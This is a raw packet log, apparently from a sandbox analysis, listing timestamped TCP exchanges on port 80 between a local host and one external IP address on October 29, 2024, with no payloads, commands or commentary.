Oct 29, 2024 04:52:29.234338045 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.234364986 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.234391928 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.234482050 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.234493017 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.234503031 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.234518051 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.234519005 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.234529018 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.234533072 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.234543085 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.234544039 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.234564066 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.234586000 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.235094070 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.235106945 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.235146999 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.235162020 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.235253096 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.235265017 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.235275030 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.235286951 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.235302925 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.235326052 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.235344887 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.235698938 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.235709906 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.235719919 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.235733032 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.235747099 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.235770941 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.235999107 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.236011028 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.236021996 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.236032963 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.236053944 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.236066103 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.236068964 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.236078978 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.236089945 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.236100912 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.236105919 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.236114025 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.236125946 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.236143112 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.236155033 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.236155033 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.236181974 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.236192942 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.236321926 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.236360073 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.236799002 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.236851931 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.236932039 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.236943960 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.236953974 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.236964941 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.236980915 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.236998081 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.237015009 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.237082005 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.237093925 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.237102985 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.237114906 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.237123013 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.237127066 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.237139940 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.237140894 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.237152100 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.237158060 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.237164974 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.237175941 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.237205029 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.237745047 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.237795115 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.237905025 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.237915993 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.237925053 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.237936020 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.237946987 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.237957001 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.237957954 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.237967014 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.237972021 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.237983942 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.237994909 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.237996101 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.238008976 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.238023996 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.238037109 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.238056898 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.238060951 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.238090038 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.281043053 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.281056881 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.281068087 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.281167030 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.321340084 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.321409941 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.321511030 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.321522951 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.321554899 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.349936962 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.349950075 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.349961042 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.350008011 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.350023985 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.350554943 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.350569963 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.350605965 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.350631952 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.350727081 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.350738049 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.350749016 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.350758076 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.350771904 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.350789070 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.350807905 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.350888014 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.350898981 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.350910902 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.350929022 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.350944996 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.351026058 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.351038933 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.351048946 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.351064920 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.351082087 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.351222038 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.351233959 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.351244926 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.351268053 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.351284027 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.351645947 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.351658106 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.351667881 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.351674080 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.351685047 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.351696014 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.351697922 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.351712942 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.351742029 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.351972103 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.351983070 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.352019072 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.352113008 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.352142096 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.352159977 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.352181911 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.352303982 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.352315903 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.352324963 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.352349997 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.352377892 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.352474928 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.352485895 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.352518082 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.352663994 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.352675915 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.352685928 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.352698088 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.352709055 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.352710009 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.352720022 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.352720976 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.352751017 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.352771044 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.353172064 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.353202105 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.353213072 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.353218079 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.353224039 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.353235960 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.353239059 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.353247881 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.353255987 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.353260994 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.353267908 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.353272915 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.353281975 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.353292942 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.353306055 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.353307962 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.353318930 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.353342056 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.353352070 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.353965998 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.353976965 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.353988886 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.353998899 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.354017019 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.354032040 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.354126930 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.354139090 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.354150057 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.354161024 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.354165077 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.354173899 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.354190111 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.354218006 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.354619026 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.354629993 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.354640961 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.354652882 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.354664087 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.354667902 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.354676008 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.354680061 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.354691982 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.354702950 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.354710102 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.354720116 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.354738951 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.354756117 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.354758978 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.354769945 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.354788065 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.354801893 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.355413914 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.355424881 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.355436087 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.355448008 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.355458975 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.355460882 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.355470896 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.355485916 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.355492115 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.355508089 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.355535030 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.398097038 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.398190975 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.398256063 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.398267984 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.398303986 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.438554049 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.438631058 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.438633919 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.438642979 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.438677073 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.467025042 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.467036963 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.467097998 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.505485058 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.510993004 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.788805008 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.788820982 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.788834095 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.788853884 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.788865089 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.788871050 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.788885117 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.788882971 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.788928032 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.788928032 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.788940907 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.789122105 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.789153099 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.789170027 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.789181948 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.789191008 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.789194107 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.789201021 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.789205074 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.789222956 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.789252043 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.789527893 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.789539099 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.789546013 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.789588928 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.789613962 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.789623976 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.789635897 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.789649010 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.789659023 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.789663076 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.789669037 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.789705038 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.789746046 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.789786100 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.789865017 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.789880037 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.789892912 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.789907932 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.789911032 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.789927959 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.789932013 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.789937973 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.789958954 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.789975882 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.790023088 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.790039062 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.790062904 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.790066957 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.790086985 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.790088892 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.790100098 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.790108919 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.790138006 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.790153027 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.790338993 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.790359020 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.790374041 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.790384054 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.790394068 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.790410042 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.790410042 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.790410995 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.790441990 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.790467024 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.790638924 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.790656090 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.790666103 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.790678024 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.790680885 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.790699005 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.790724993 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.790854931 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.790870905 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.790882111 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.790896893 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.790910959 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.790930986 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.906009912 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.906074047 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.906086922 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.906104088 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.906160116 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.906160116 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.906204939 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.906234026 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.906244993 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.906255960 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.906269073 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.906270981 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.906270981 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.906296968 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.906323910 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.906557083 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.906569004 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.906614065 CET	49760	80	192.168.2.4	185.215.113.206
